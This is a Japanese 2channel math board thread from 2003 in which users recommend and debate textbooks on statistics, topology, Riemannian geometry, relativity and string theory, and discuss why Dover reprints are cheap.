855 名前： 851 投稿日： 03/06/26 01:04: >>850
数学屋の喜びそうな統計学の本ならば
竹村先生や稲垣先生の数理統計の本の内容が分かってるなら
Thomas Ferguson, "Mathematical Statistics"
E.L. Lehmann and G. Casella, "Theory of Point Estimation"
あたりが良さそう。
これが難しければ、上の両先生の本か
G. Casella and R. L. Berger, "Statistical Inference"
などで準備すれば良いと思う。
856 名前： 850 投稿日： 03/06/26 01:24: >>855
ご助言ありがとうございます.
先に挙げた本がネットで安かったので, よい本なら買ってしまおうと思っていました.
ひとまずご紹介いただいた和書の両先生の本を, 本屋で探してみます.
857 名前： １３２人目の素数さん 投稿日： 03/06/27 02:12: 確率・統計の話が続いているようなので、便上質問したいのですけど。
伊藤雄二『確率論』というのはどうでしょうか？
読まれたことがある方がいらっしゃいましたら、感想等を教えていただきたいです。
858 名前： １３２人目の素数さん 投稿日： 03/06/27 02:19: 確率過程でお勧めの本希望
859 名前： １３２人目の素数さん 投稿日： 03/06/27 04:44: 受験には不利でも構わないので、
数学の本質に迫れるように工夫されている
高校教科書を教えてください。
理屈重視派っていうのかな。

ないのなら敢えてでいいので一冊教えてください。
860 名前： １３２人目の素数さん 投稿日： 03/06/27 05:39: 『大道を行く高校数学』という本があります．
また，教育的配慮の行き届いたものとしては志賀先生の
『数学１』『数学1を楽しむ』『数学2』『数学2を楽しむ』『数学3』（続刊）
という，中高一貫数学コースのための教科書も出ています．
昔は松坂先生の『数学読本（全6巻）』があったのだけれど，残念ながら
一部品切れになっています．
861 名前： １３２人目の素数さん 投稿日： 03/06/27 06:19: >>859
じゃあ、敢えて…
ちょっと高いけど、ラングの解析入門(続のほうはいらない)。
高校数学の多くの部分をカバーしているし、かなり丁寧に書かれてる。

原著の目次
http://www.amazon.com/exec/obidos/tg/detail/-/0387962018/ref=lib_rd_next_8_ns/?v=glance&s=books&vi=reader&img=7&ns=1#reader-link
862 名前： １３２人目の素数さん 投稿日： 03/06/27 06:23: 確率の本の話はこのへんでもでてた
http://science.2ch.net/test/read.cgi/math/1015741116/634-
863 名前： １３２人目の素数さん 投稿日： 03/06/27 09:33: http://www.iwanami.co.jp/hensyu/science/mathcourse/top.html
中高一貫は>>859には間に合わない?

ラング解析入門
http://www.iwanami.co.jp/.BOOKS/00/2/0051510.html
864 名前： １３２人目の素数さん 投稿日： 03/06/27 19:27: 前々から疑問だったんだけど、ドーバーの本は何であんなにリーズナブーなの？
理由を知ってる人いたらﾌﾟﾘｰｽﾞ。
865 名前： １３２人目の素数さん 投稿日： 03/06/27 19:31: >>864
版権をうまく利用しているからでは?
自分の場合、 Dover を始めて知ったのは楽譜なのだけど、当時(５，６年前?)あまりの価格に驚いた。
866 名前： １３２人目の素数さん 投稿日： 03/06/27 21:11: 装丁も安いものだしな。

特別理由ってものもないんんじゃねーの。
867 名前： うんこぶりぶりー 投稿日： 03/06/27 22:21: 逆に他の出版社の本は何であんなに高いのかと
DOVERはいたって普通
ほかがぼったくりんこなだけ
868 名前： １３２人目の素数さん 投稿日： 03/06/28 05:34: >>860-863
文部省検定教科書ならどこも同じって感じなんでしょうか？

＞『数学１』『数学1を楽しむ』『数学2』『数学2を楽しむ』『数学3』（続刊）
＞という，中高一貫数学コースのための教科書も出ています．
実は中学数学も危ういかもしれないので、これは為になりそう。
サイドストーリーも面白そうです。
いかんせん高すぎるし、量が多すぎるのが悩み。
869 名前： 860 投稿日： 03/06/28 09:08: >>868
私は高校受験をしなかったので中学数学がすっぽり抜けています．
最近塾講師を始めたので，志賀先生の本で初等数学をやり直そうかと
考えているところです．
870 名前： ２人目の素数さん 投稿日： 03/06/28 13:41: 実解析入門/水田っていうのは、簡潔で扱っている内容も多く、いいと思うんだが、
あんまり評判にはならない。なんでだろう？
871 名前： １３２人目の素数さん 投稿日： 03/06/28 17:05: 猪狩の実解析もｽｹﾞｰ盛りだくさんだYO
872 名前： １３２人目の素数さん 投稿日： 03/06/28 17:12: 数学板も糞スレ盛りだくさんだよ～
873 名前： １３２人目の素数さん 投稿日： 03/06/28 17:32: シンガー・ソープをちまちま読んでいるのですが、訳語が微妙に独特ではないですか?
少し違和感を覚えてしまって、微妙に読みにくい。
874 名前： １３２人目の素数さん 投稿日： 03/06/28 17:46: >839
国沢清典『確率論とその応用』岩波全書が
漏れにとってお薦めでつよ。
875 名前： １３２人目の素数さん 投稿日： 03/06/28 20:12: >>874
その口調から、不安を感じるのですが…
876 名前： １３２人目の素数さん 投稿日： 03/06/28 22:23: >シンガー・ソープ

なかなか良い本だよね
せっかくだから原書読んだら？
877 名前： 874 投稿日： 03/06/28 23:55: >875
そうでつか。今も売っている本でつので、
本屋で見てみればぁ～。
変な口調ですみせんでした。ふざけ過ぎかな。
でも、まともな本ですよ。
878 名前： 842 投稿日： 03/06/29 00:32: 位相・集合を学ぶのにお勧めな本はありますか。
今良さそうだなって思っているのは下の二つなんですけど
どちらがいいと思いますか。
ほかにもいい本があったら教えてください。

数学の基礎―集合・数・位相齋藤正彦
http://www.amazon.co.jp/exec/obidos/ASIN/4130629093/qid=1056814014/br=3-9/br_lfncs_b_9/250-8998782-9449869
集合・位相入門　松坂和夫
http://www.amazon.co.jp/exec/obidos/ASIN/4000054244/qid%3D1056814287/250-8998782-9449869
879 名前： GO MAXIMA 投稿日： 03/06/29 01:44: >>878
昔理論物理系のクラスの友人がTopologyを勉強するぞ、といって
general topologyをやりはじめ３か月程でノイローゼになったのを
思い出した。このへんでは最初は少しの基本概念を丁寧に学ぶのが
いいのでは。そこで昔(1980ころ) Cambridge University Pressから
でていて今 Doverからでている Topological Methods in Euclidean Spaces
by Gregory L.Naber Dover ISBN 0486414523 9.95$ p248
の第１章 Point-set topology of Euclidean spaces (p1-p44)
を丁寧に読むと良いでしょう、open sets,closed sets,and continuity
,compact spaces,connectivity properties,retracts,topological dimension
など初学者に必須の概念を解説しています。
蛇足ながら２章以降も面白い。
この本は題材の選び方が非常にうまく日本語での類書はないとおもう。
２章 Elementary combinatorial techniquesで
simplical approximation theorem,Sperner's lemma,Brouwer's Fixed Point Theorem
３章 Homotopy theory and the fundamental groupで
maps of spheres,contractible sapces,nulhomotopic mapsなど
４章Simplical homology theoryで
Hopf trace theorem (lefshetz Fixed Point Theorem)
５章 Differential techniques
多様体を含めているのも特色のひとつ
Stone-Weierstrass theorem,differential manifolds,Sard's theorem,
Morse functions,topological characterization of S^k
この本程度の具体的かつ基礎的な知識が次のより抽象的な段階に
進むのに必須のように思われる。(学部1、2、3くらいの夏休みにおすすめ)
なほたくさんの初版のtypolographical errorsはこの版で修正したとあります。
880 名前： １３２人目の素数さん 投稿日： 03/06/29 02:09: 松本幸夫の「トポロジー入門」の前半は位相空間論の導入としてかなり親切に書かれて
いると思う。（後半は基本群の話になるので初学者は飛ばしてもいい）
881 名前： １３２人目の素数さん 投稿日： 03/06/29 02:32: 幾何の入門書ないですか？
解析が楽しくて解析ばっかやってたら幾何の知識がﾎﾞﾛﾎﾞﾛなんですよねぇ。
882 名前： １３２人目の素数さん 投稿日： 03/06/29 02:58: 村上信吾の「幾何概論」裳華房はどう？
883 名前： １３２人目の素数さん 投稿日： 03/06/29 03:15: >>882
ｱﾏｿﾞﾝﾀﾝが取り扱ってくれない･ﾟ･(ﾉД`)･ﾟ･
884 名前： １３２人目の素数さん 投稿日： 03/06/29 04:31: >>878
おれは松坂を読んだが、
フィルターを使って書いてるもののほうがいいと思うので、
松坂は勧めない。
他の邦書で何がいいのかは知らんです。
まあ、多様体の基礎を読むつもりなら、
そんなしっかり位相をやってなくてもいいような気もする。

>>883
Amazon が取り扱ってない本ってのはたまにあるが、
裳華房の本は基本的に全部取り扱ってるような。
幾何概論の場合は品切れだし、裳華房のサイトにもページがないくらいなので、
Amazon が取り扱ってない、って感じではないと思う。
http://www.shokabo.co.jp/series/05_suusen.html
885 名前： １３２人目の素数さん 投稿日： 03/06/29 05:57: >>870
あの本間違いだらけだよ．
886 名前： 878 投稿日： 03/06/29 11:41: >>879,880,884
参考になりました。
本屋で読みあさってみます。
ありがとうございました。
887 名前： １３２人目の素数さん 投稿日： 03/06/29 19:28: >>879で抽象的な段階への文献を紹介していたから具体的なのを紹介しておこう。

Hermann Weyl "The Continuum: A Critical Examination of the Foundation of Analysis"
ttp://www.amazon.co.jp/exec/obidos/ASIN/0486679829/ref=lm_lb_11/250-5564280-0389052

Richard Dedekind "Essays on the Theory of Numbers"
ttp://www.amazon.co.jp/exec/obidos/ASIN/0486210103/ref=lm_lb_10/250-5564280-0389052
888 名前： 870 投稿日： 03/06/29 23:30: >>885
詳細ｷﾎﾞﾝﾇ

この本の内容の多さといったら、１章でハウスドルフ次元を定義しちゃうくらい(笑
類書が無いだけに、間違いだらけと聞いて残念。
889 名前： １３２人目の素数さん 投稿日： 03/06/29 23:36: >>879 よさそうな本だね。今度見てみよう。
890 名前： １３２人目の素数さん 投稿日： 03/06/29 23:42: しかし、位相とか結構分かり難いものをいきなり英語で読んで分かるのだろうか・・・
891 名前： １３２人目の素数さん 投稿日： 03/06/30 00:04: >>890
語学力も各人各様。
他人が自分と同じぐらいの能力と思うわけかい？
帰国子女で日本語が苦手な奴もいるしな。
892 名前： １３２人目の素数さん 投稿日： 03/06/30 00:13: まあでも大半の奴は日本語より英語がわかりやすいことはないと思うけどなー
893 名前： １３２人目の素数さん 投稿日： 03/06/30 00:32: 俺が最初に読んだ英語の本は、位相の本で

SIMMONS,G.
INTRODUCTION TO TOPOLOGY AND MODERN ANALYSIS.
1963 (MCGRAW-HILL )

だ。大学1年の終わりかな。わかりやすい本だよ。今、MCGRAW-HILL の
ペーパーバックがなくなって、高いハードカバーしかないが。

その次がアルフォースの複素解析。日本語より安かった。
これも読みやすかった。吉田洋一の岩波全書と併読した。
894 名前： １３２人目の素数さん 投稿日： 03/06/30 00:53: と、>>891は思ってるわけですね。
そもそも>>890の言っている意味は、語学力云々の問題じゃないと思うがな。
895 名前： １３２人目の素数さん 投稿日： 03/06/30 01:11: >>894
「位相とかが分かり難いのと語学力は全然関係ないでしょ？」という事をいったんだけど、可笑しいと思うかい？
896 名前： １３２人目の素数さん 投稿日： 03/06/30 01:24: ケリーの位相空間論ってどうなの？
897 名前： １３２人目の素数さん 投稿日： 03/06/30 01:34: >>896
通読したらプチ神
898 名前： １３２人目の素数さん 投稿日： 03/06/30 04:53: 　　 ∧＿∧　　　　　　　　　　　　（(
　　（　ﾟдﾟ）　　　　　　　　　　）　)
　　／　　　＼　　　　　　　　　　ノ
　　| |　　　　 | ＼　　　　　　　(（　　((
　　| |　/⌒|⌒|ヽ二二つ　　　）　　　　）　丿
　　ヽ二二Ο./　　　　　＼　（( ( （・３・）ノ
　　（＿|　|_|　|_　　　　　　　＼　∴∵
　　　 .（＿_)＿_)　　　　　　　／/》||ヾミ＼
899 名前： １３２人目の素数さん 投稿日： 03/06/30 06:51: >>879 は第１章の p.1-p.44 だけをまず嫁といってるんだし、
そのくらいなら、英語を読む練習としてもちょうどいい量なんじゃないの？

879の本は、数学のどの分野をやるにしても（たとえば解析系の人とか）、
一般教養としてまず知っておいたほうがいい事柄をうまく網羅してるようだね。
ただページ数の割りに内容が多いから、「広く浅く」で通り一遍の解説に
なってしまっているんじゃないかという心配はあるけど。
900 名前： １３２人目の素数さん 投稿日： 03/06/30 10:02: >>879,899
Topological Methods in Euclidean Spaces
by Gregory L.Naber
よさそう
注文しますヽ(´ー｀)ノ
901 名前： １３２人目の素数さん 投稿日： 03/06/30 10:10: 息抜きに読む本で、いいのないですか？
902 名前： １３２人目の素数さん 投稿日： 03/06/30 10:14: 上のほうでも少し触れられているけど、 "general topology" はどういう分野？
位相空間論で基礎論に近いようなことをやっている分野?
903 名前： １３２人目の素数さん 投稿日： 03/06/30 10:21: >>901
難問とその解法シリーズ。自分が好きな分野のを選ぶとよろし。
904 名前： Ｙ　さん 投稿日： 03/06/30 11:40: 一松先生の幾何の本を紹介してください。
ほかにも良書があれば、どうぞお書き込みください。
905 名前： １３２人目の素数さん 投稿日： 03/06/30 14:47: >>902
単に topology って言う場合は、位相幾何を指しいて、
general topology は位相空間論を指している、で間違ってないと思う。
あと Point-set topology ってのも同じものを指してるんだと。

>>904
幾何の良書を紹介してほしいのか?
なんで一松なの? つか、一松の幾何の本って、
岩波講座応用数学の『いろいろな幾何』以外になんかあるのかな。
906 名前： １３２人目の素数さん 投稿日： 03/06/30 16:28: 一松氏絡みで教えてください。
今年理工学部に入学した者ですが、
一松氏の解析学序説を教科書にしているんですけど、
解析概論スレか何かで、
一松の解析本→ﾄﾞｷｭﾝ
と書いてあったんですが、この本ダメなんでしょうか？
907 名前： １３２人目の素数さん 投稿日： 03/06/30 22:01: amazon の割引セールにつられて新しい本を買ってしまった。
時間があまりないけど、年度内中に読み終わることを目標にがんばりたい。
もう、数学の勉強をやってるような歳ではないのだが(w
908 名前： １３２人目の素数さん 投稿日： 03/06/30 23:22: >>903
息抜きどころか、息切れしそうですが・・・
909 名前： １３２人目の素数さん 投稿日： 03/06/30 23:25: >>908
じゃあエロ本でも読み名
910 名前： １３２人目の素数さん 投稿日： 03/06/30 23:35: Amazonでエタールコホモロジーの教科書（Tamme著）、最初３～５週で配送の予定だったのに、
「商品の発送が4~6週間ほど遅れます。」とメールが来た。
911 名前： １３２人目の素数さん 投稿日： 03/07/01 07:03: >>906
ダメなんてことはないと思う。
上巻のほうは、厳密さよりも、使うことを重視してるような感じなので、
その本をドキュンって言うような人がいるのかと。
数学科に逝くつもりならちょっとアレかもしれんが、そうでないなら問題ないよ。

>>901 >>908
じゃあ、Men of Mathematics (邦訳『数学をつくった人びと』はただいま絶版中) なんてどうよ。
http://www.amazon.co.jp/exec/obidos/ASIN/0671628186/
912 名前： １３２人目の素数さん 投稿日： 03/07/01 07:14: >>910
今は在庫切れって表示されてるね。
http://www.amazon.co.jp/exec/obidos/ASIN/3540571167/

おれも以前に、発送が遅れて、結局
---------------
誠に申し訳ありませんがご注文内容のうち、以下の商品については入手できないことが判明いたしました。

[書名]

お客様にこれらの商品をお届けできる見込みでしたが、現時点ではどの仕入先
からも入手できないことが判明いたしました。お客様のご期待に背くお知らせ
となりますと共に、お客様にご迷惑をおかけしたことをお詫びいたします。

私どもでは、ごく最近までこの商品を入手可能なものと見込んでおりました。
この結果がわかるまでにかなり時間がかかったことについても、心よりお詫び
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お客様にご迷惑をおかけしたことを重ねてお詫び申し上げます。
---------------
というメールが来たことがあった。

そうならないことを祈る(w
913 名前： １３２人目の素数さん 投稿日： 03/07/01 08:17: >>901
怠け数学者の記（小平邦彦）
914 名前： １３２人目の素数さん 投稿日： 03/07/01 09:20: >>912
おれも何度かあるけど、結局一冊も手に入らなかったよ…
>>910
あきらめたら…
915 名前： １３２人目の素数さん 投稿日： 03/07/01 09:33: >>888
もう腹が立って古本屋にうっぱらったけど，
定義を忘れて証明とかの議論がどんどん進んでいって，話が全然通らない．
たしかに題材としては面白いと思ったけど，議論が破綻してて見るに耐えない．
916 名前： １３２人目の素数さん 投稿日： 03/07/01 10:27: http://www.kyoiku-shuppan.co.jp/books/suugaku.html
なんか、ここのってまったく見かけることがない。
こんな出版社があることも知らなかった。
どれも70年代に出たみたいだが、絶版ではないのかな。
アマゾンでは買えそうな感じだが。
917 名前： １３２人目の素数さん 投稿日： 03/07/01 11:10: >>910
出版社で品切れ･絶版本で、アマゾン上で“３～５週で配送の予定”と
なっているものは、返品･キャンセル待ちの場合が多い。
よって、入荷は再版の見込みが無ければ、ほぼ入手不可と見たほうがよい。
918 名前： １３２人目の素数さん 投稿日： 03/07/01 12:57: >>864 前々から疑問だったんだけど、ドーバーの本は何であんなにリーズナブーなの？
理由を知ってる人いたらﾌﾟﾘｰｽﾞ。

たぶん、売れない本の版権を元の出版社が放棄した（または安く手放した？）
ものを取得してるからじゃないの。だから、ドーバーの本は安いことは
安いけど、正直あんまりぱっとしない本がほとんどのような気がする。
919 名前： １３２人目の素数さん 投稿日： 03/07/01 13:01: >>918
ｺﾙﾓｺﾞﾛﾌとﾘｰｽの関数解析本は個人的には好きなわけなんだが。
920 名前： １３２人目の素数さん 投稿日： 03/07/01 13:08: >>919
うむ。古典的な本も結構入ってるから、目的によっては有用なことも
あるかも。だけど、平均するとやっぱりハズレのことが多い。
921 名前： １３２人目の素数さん 投稿日： 03/07/01 13:22: 海賊版作られるより、ましと言う事じゃないの？
922 名前： １３２人目の素数さん 投稿日： 03/07/01 13:29: フランダースの微分形式の本は良かった。
邦訳よりも安いので買った。
923 名前： １３２人目の素数さん 投稿日： 03/07/01 14:02: Dover でなくても、ハードカバーですごく高かったのがペーパーバックになって、
ぐっと購入しやすくなるだけでもうれしい。
$80 と $40 ではぜんぜん違うからね。
ぼくが金持ちじゃないからそう思ってしまうだけかもしれないけど。
924 名前： １３２人目の素数さん 投稿日： 03/07/01 14:17: 洋数学書って無駄に高いのが多い。
どうにかしてくれ。
925 名前： GO MAXIMA 投稿日： 03/07/01 16:12: >>918 920
Doverを悪く言うのはやめよう! ハズレているのは読む人の問題では?
まづ30年まえから中性紙を使っていて良心的です。
親から頂いた当時の日本の数学書がぼろぼろになた今でもDoverは使えます。
最近はPHOENIX EDITIONSといってハードカバー本も出しているがこれは
古典ですが本来のペーパーバックでよい本がたくさんあります。
さらにペーパーバックになるとき、修正したり(フランダースの微分形式の本
やタイプミスの修正をした上で紹介したNaberの本) 追加したもの(Goldbergの
Curvature and Homologyの改訂版)など編集方針もしっかりしているようです。
ではハズレでは無かった本Dover版を上げておきます。
数論関係
The Skelton Key of Mathematics by D.E.Littlewood
NUMBER THEORY by George E.Andrews
ADVANCED NUMBER THEORY by HARVEY COHN
Rieman's Zeta Function by H.M.Edwards
代数関係
ELEMENTS OF ABSTRACT ALGEBRA by ALLAN CLARK
THE THEORY OF GROUPS by Hans J.Zassenhaus
PROBLEMS IN GROUP THEORY by JOHN D.DIXON
926 名前： GO MAXIMA 投稿日： 03/07/01 16:13: 解析関係
Principles and Techniques of Applied MAthematics by Bernard Friedman
ELEMENTARY FUNCTIONAL ANALYSIS by Georgi E.Shilov
LECTURES ON PARTIAL DIFFERENTIAL EQUATIONS by I.G.Petrovsky
CALCULUS OF VARIATIONS by I.M.Gelfand and S.V.Fomin
Lectures on Differential and Integral Equations by Kosaku Yosida
幾何関係
LIE ALGEBRAS by Nathan Jacobson
Differential Forms With Applications to the Physical Sciences by Harley Flanders
THE THEORY OF SPINORS by ELIE CARTAN
Topological Methods in Euclidean Spaces by Gregory L.Naber
A COMBINATORIAL INTRODUCTION TO TOPOLOGY by Michael Henle
ALGEBRAIC TOPOLOGY by C.R,F,Maunder
CURVATURE and HOMOLOGY (revised Edition) by Samuell.Goldberg
複素関数関係
THEORY OF FUNCTIONS (PART 1 and 2 合本) by Konrad Knopp
PROBLEM Book IN the Theory of FUNCTIONS (合本) Konrad Knopp
Elementary Theory of Analytic Functions of One or Sevral Complex Variables by He
nri Cartan
Conformal Representation by C.Caratheodory
927 名前： _ 投稿日： 03/07/01 16:14: http://homepage.mac.com/hiroyuki44/hankaku10.html
928 名前： １３２人目の素数さん 投稿日： 03/07/01 16:33: 【＜コラム＞経済気象台】
　
割に合わない技術書作り
http://www.asahi.com/money/column/TKY200306300167.html

数学書はどんな発行部数だろうね?
裳華房か出しているような専門書籍とか、、、
929 名前： １３２人目の素数さん 投稿日： 03/07/01 16:34: 【【【ネットカジノ】】】
ネット上で10円、20円単位でお金儲けより、一度、自分の運に賭けてみませんか！？
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930 名前： １３２人目の素数さん 投稿日： 03/07/01 17:44: ＞Doverを悪く言うのはやめよう!
ハズレが多い、っていっただけじゃん。

＞ハズレているのは読む人の問題では?
読む人を悪く言うのはやめようぜ。

＞まづ30年まえから中性紙を使っていて良心的です。
＞親から頂いた当時の日本の数学書がぼろぼろになた
＞今でもDoverは使えます。
それはまったくあんたの言うとおり。
ただ、漏れは親から数学書なんてもらったことないけど（ｗ

＞ではハズレでは無かった本Dover版を上げておきます。
なんだ、結局、これが書きたかったのか（ｗ
931 名前： １３２人目の素数さん 投稿日： 03/07/01 19:11: 確かに最初からお薦め挙げときゃいいよな。
そうすれば下らない奴が下らない茶々入れることも無いし。
932 名前： 920 投稿日： 03/07/01 22:44: >>930 おい、騙るなよ。

>>925-926 あがってる本には古典も多いしそれは価値のあることだが、
普通にアップツーデートな内容を勉強するための教科書として読むには
時代遅れだったりすることも多いから注意が必要と言いたい。

ドーバーのおかげで古典が安く手に入るのはありがたいことではある。
自分的にはKlein の Icosahedron の本（これはOut of Print か？）とか
Coxeter の Regular Polytopes とかが趣味。あと Hermann Weyl の本も
いくつかあったような。
933 名前： １３２人目の素数さん 投稿日： 03/07/01 23:03: この板では30講シリーズの評判がいいみたいだが，
おれはどーかなと思う

ページ数のわりに内容が薄いから，
買う気にはならない

チラ見するだけ
934 名前： １３２人目の素数さん 投稿日： 03/07/01 23:03: Dover は岩波書店がすきそうな古典をやすく売ってくれるんだよね。
いわゆる数学書だけでなく、岩波文庫のカタログに入っているようなものも。
935 名前： １３２人目の素数さん 投稿日： 03/07/02 00:05: >>933
あれは初心者というかどうしても分かり難い人向けって評価だろ？
何か誤解してるぽ。
936 名前： １３２人目の素数さん 投稿日： 03/07/02 00:15: リ－マン幾何学の入門書は何がいいでしょう？
937 名前： GO MAXIMA 投稿日： 03/07/02 04:09: >>936
ええっとレベルというか何が目的か?というのでいろいろですが、まずは
微分形式と接続 R.W.Rダーリング著時田節訳ピアソン ISBN 4894712342
2800\ 原書よりやすい。これはぼくは十章のゲージ理論への応用しか読んでないが
良い本だろう。１章は不備があって書きなおしたものを著者が配っていたようだ。
あと岩波の現代数学の基礎にもいいのがある。(森田氏のとか)
次にselfcontained ではあるが一人で読めればたいしたもので KAEHLER 多様体の
小平理論をめざすなら >926であげた CURVATURE and HOMOLOGY (revised Edition) by Samuell.Goldberg
ISBN 048640207X 19.95$ ついこのあいだまで14.95$だったが。
うまくすればペルマン後に此邊はたくさん本がでるはずですが。
初めてで幾何を学ぶなら矢野健太郎他の〃テンソル解析"廣川書店
図書館でもいかなければないかな。学部1、2、3くらいで先を急がないなら
TENSOR CALCULUS by J.L.SYNGE and A.SCHILD Dover ISBN 0486636127 13.95$ P324
を薦める、Exerciseを丁寧に解いて行けばそれなりの力がつくと思えます。解答は
ないですが。たとえば 6Pには"n次元空間の２次元の部分空間U2 とW2がある。N＝3
ならば一般の〔位置での)交わりは曲線になり、N＝4では一般の〔位置での)交わりは
有限個の点になり、N＞4では交わらないことをしめせ。"とかP90のCurvatureの3.3
Geodesic deviation では次のようにはじまります。２次元の空間に２次元の観測者
が住んでいると想像せよ。距離を測ることによって自分のいる空間の性質を探りたいとせよ。
長さの定常性から複数の測地線を構成することはできる。ひとつの測地線に沿って
歩くことでなにがわかるだろうか? ３次元空間に埋め込まれた球面における大円
のように我々は２次元の測地線を曲がった線と考えがちであるが２次元空間自身に
はいれば比較すべきmastercurveは存在せず測地線の曲率と言う概念は消滅して
しまう。実際我々は２次元空間で描くことのできる最もまっすぐな線として
その測地線をみなすのだ。
これがお話でなく Ricci tennsor とBianchi identityの計算の後ででてきている。
まあ良い本だろう。
938 名前： １３２人目の素数さん 投稿日： 03/07/02 07:49: >>937
有難うございます。リ－マン幾何を勉強したいと思ったのは、Hodge-Kodairaの調和積分論
やHirzebruchの本の予備知識としてです。つまり複素幾何、代数幾何への応用が念頭にあります。
以前すこし勉強したのですが、接続の概念がよくわからなかった覚えがあります。
リ－マン幾何それ自体にも興味ありますし、一般相対論への応用も興味あります。
お奨めの本はどれもよさそうですね。Goldbergの本、早速注文します。
939 名前： １３２人目の素数さん 投稿日： 03/07/03 00:19: age
940 名前： １３２人目の素数さん 投稿日： 03/07/03 01:16: 数学者が数理物理学をやるために必要な本
初学者用は？

D.CoxのMirrorSynmetryandAlgebraicGeometryが読みたいのだ
941 名前： １３２人目の素数さん 投稿日： 03/07/03 01:56: >>938
一般相対性理論への応用にも興味があるのだったら、物理学者が書いた
一般相対性理論を読むと良いですよ。というのは、数学者が書いた
一般相対性理論の本は大きい声では言えないが読めたものではないですから。
（それは理論物理からっという意味ですが。）
　学ぶ動機がリーマン幾何学が主体なら、それは薦めませんが、もし理論物理
として一般相対性理論が動機ならよんで見るのが最善ですし、それと特殊相対
性理論もちゃんと学んでください。これは数学科での微積分と同じですので。
微積分を専門にする数学者がいない様に特殊相対性理論を専門にする物理学者
もいない。
942 名前： 941 投稿日： 03/07/03 02:10: 以下の本を読むといいでしょう。

アインシュタイン「相対論の意味」
ヴォルフガング・パウリ「一般相対性理論」、
内山龍雄「相対性理論」、
ディラック「一般相対性理論」、
ランダウ＝リフシッツ「場の古典論」、
C.W.Misnor,C.N.Thorne,O.M.Wheeler「Gravitation」
R.Hagedorn「Relativitic Kinematics」
E.F.Taylor,J.A.Wheeler「Spacetime Physics」
シュッツ相対論入門上・下丸善
藤井保憲「超重力理論入門」「時空と重力」
Ｒ．ルフィーニ「ブラックホール」
John Baez, Javier P. Muniain 「Gauge fields,Knots and Gravity」
943 名前： １３２人目の素数さん 投稿日： 03/07/03 02:16: ここにくわしくのってたＹｏ↓
http://goodgoods.fc2web.com/~/science.html
944 名前： １３２人目の素数さん 投稿日： 03/07/03 02:37: >>941-942
ミラー対称性とかに興味があるといっているから
ゲージ理論、ヤン・ミルズ、サイバーグ・ウィッテン、超ひも理論、
この辺りを知りたいのでは？
945 名前： GO MAXIMA 投稿日： 03/07/03 03:02: >>940
たぶんD.CoxのMirrorSynmetryandAlgebraicGeometryの第１章のことだと
思いますが、物理屋さんとの一番の違いは Feynman Diagramsに慣れているか
どうかだと思います。そこで直観の差を埋めてみては?(帰ってこれなくなるかも W)
A Guide to Feynman Diagrams in the Many-Body Problem by Richard D.Mattuck
(Second Edition) Dover ISBN 0486670473 $14.95 420P
17、18、19章が役立つはずです。さらに超ひも理論もいるでしょうが
これのやさしい本を知りません。
946 名前： １３２人目の素数さん 投稿日： 03/07/03 05:31: >>944
そうでしたか。まえのをみてなかったので。でもひも理論やＳＷ理論
するのにあまりにピュアマスしてしょうがないし、この>>938さんは
どれくらい物理をしっているのか？数学的部分しか興味なくとしても
物理知らないとなにもできないしね。。。困ったとこです。
リーマン幾何学を学びたいといっている状態ではまずそこには手は
出せないだろうし。。。一般相対性理論を何処までりかいしてるか？
特殊相対性理論も分かってるのか？場の量子論は？素粒子理論は？
それなしに、ひも理論っていわれても。。。ゲージ理論は？
数学と理論物理は違うんだよね、まえなんか微分幾何学が専門の
数学科の修士1年生としゃべっていて思ったのは、一般相対性理論を
ちゃんと理解してないし、量子力学もただブラケットが非可換と
とらえているだけで、そこに重要なイメージを持ってないし分かってない。
947 名前： １３２人目の素数さん 投稿日： 03/07/03 05:31: >>944

もしここで聞いている人がそういうひとなら、その勉強は止めたほうがいいよ。
サイバーグ＝ウィッテンの仕事は完全に物理学のスタンスでかかれたもの。
そこんとこ分かってるのか？数学者があの仕事をしたのではないんだよ。
ピュアマス的な考えからはでないよ。ああいう理論はね。そこんとこ注意。
グリーン/シュワルツ/ウィッテンのストリング理論/Ｍ理論の本とか
ポルチンスキー、ミチオ・カクもあります。日本だと吉川圭二とかの
弦の量子論とか、超重力理論なんかは藤川保憲とか、超対称性なんかの
決定版はワインバーグの[The Quantum Theory of Fields]だろうし、
Ｄ－Ｂｒａｉｎとか含めると論文をよむのがいい。Maldacenaとか
Johnsonなんかの論文を読むといいです。
948 名前： １３２人目の素数さん 投稿日： 03/07/03 05:39: >>944

ヤンの仕事も、今となっては理論物理の指導原理でもあるゲージ理論も
みんなピュアマス的考えからは出てこない理論。そこんとも付け加えておきます。
ミラー対称性に興味を持ってもらうのは結構。でも、ゲージ理論、
ヤン・ミルズ、サイバーグ・ウィッテン、超ひも理論に興味があるなら
少しはドクターくらいの理論物理を学んでからにしてね。そして、
酒井隆「リーマン幾何学」やNelson[Tensor Analysis],ディラックの
一般相対性理論、パウリの相対性理論なんかが読めている様にしてほしいですね。
どこまで、リーマン幾何学というか微分幾何を理解してるのかな？
949 名前： １３２人目の素数さん 投稿日： 03/07/03 07:55: >>936と>>940は別人です。私は>>936です。しかし、私もstringに興味あるので物理
を勉強してみようと思っています。物理をやることで数学にたいしての理解がより深まる気もしています。
さしあって、解析力学からやろうと思っています。
950 名前： １３２人目の素数さん 投稿日： 03/07/03 08:53: 無理。950じゃまだ無理。970で移行ｷｳﾞｫﾇ。
951 名前： １３２人目の素数さん 投稿日： 03/07/03 11:25: 数学の本 5刷目
http://science.2ch.net/test/read.cgi/math/1057198708/l50

立てちゃいました。
952 名前： １３２人目の素数さん 投稿日： 03/07/03 19:56: 950じゃ無理でも951なら移行OKだたーのね。おつかれさん
953 名前： １３２人目の素数さん 投稿日： 03/07/03 20:37: >>946
数学科の学生が物理を知らないのは当然です。あなたは、ガロワ理論、類体論を知っているのかな？
リーマン・ロッホの定理は？Grothendieckのスキーム論は？多変数複素函数論は？
954 名前： １３２人目の素数さん 投稿日： 03/07/03 20:48: 誤解の無いように言っておくと、何もいきなりstringをやろうなんて思っていないです。
解析力学、電磁気学、特殊相対論、量子力学、一般相対論、場の量子論などが必要でしょう。
微分幾何は数学なので、物理に必要な程度は、やれば出来ると思っています(微分可能多様体、Lie群、複素多様体などはある程度やっています)。
955 名前： １３２人目の素数さん 投稿日： 03/07/03 21:13: >944です。
>>946-948さん、ご丁寧に有難う御座います。
>>953さんは誤解されたのかな？
理論が出てくる動機というのは大事で、これは物理を深く理解しないと分からない。
それを強調なさっているんだと思います。
ディラックは入門に丁度良いですね。
微分幾何やリーマン幾何やテンソル解析も数学科向けを知っていても
物理科の専門家向けの本を読んで物理的な理屈を読み取る練習をすると良いですね。
もっとも、数理物理をやっている人には物理科はだしの人も結構いますから人によるわけですが。
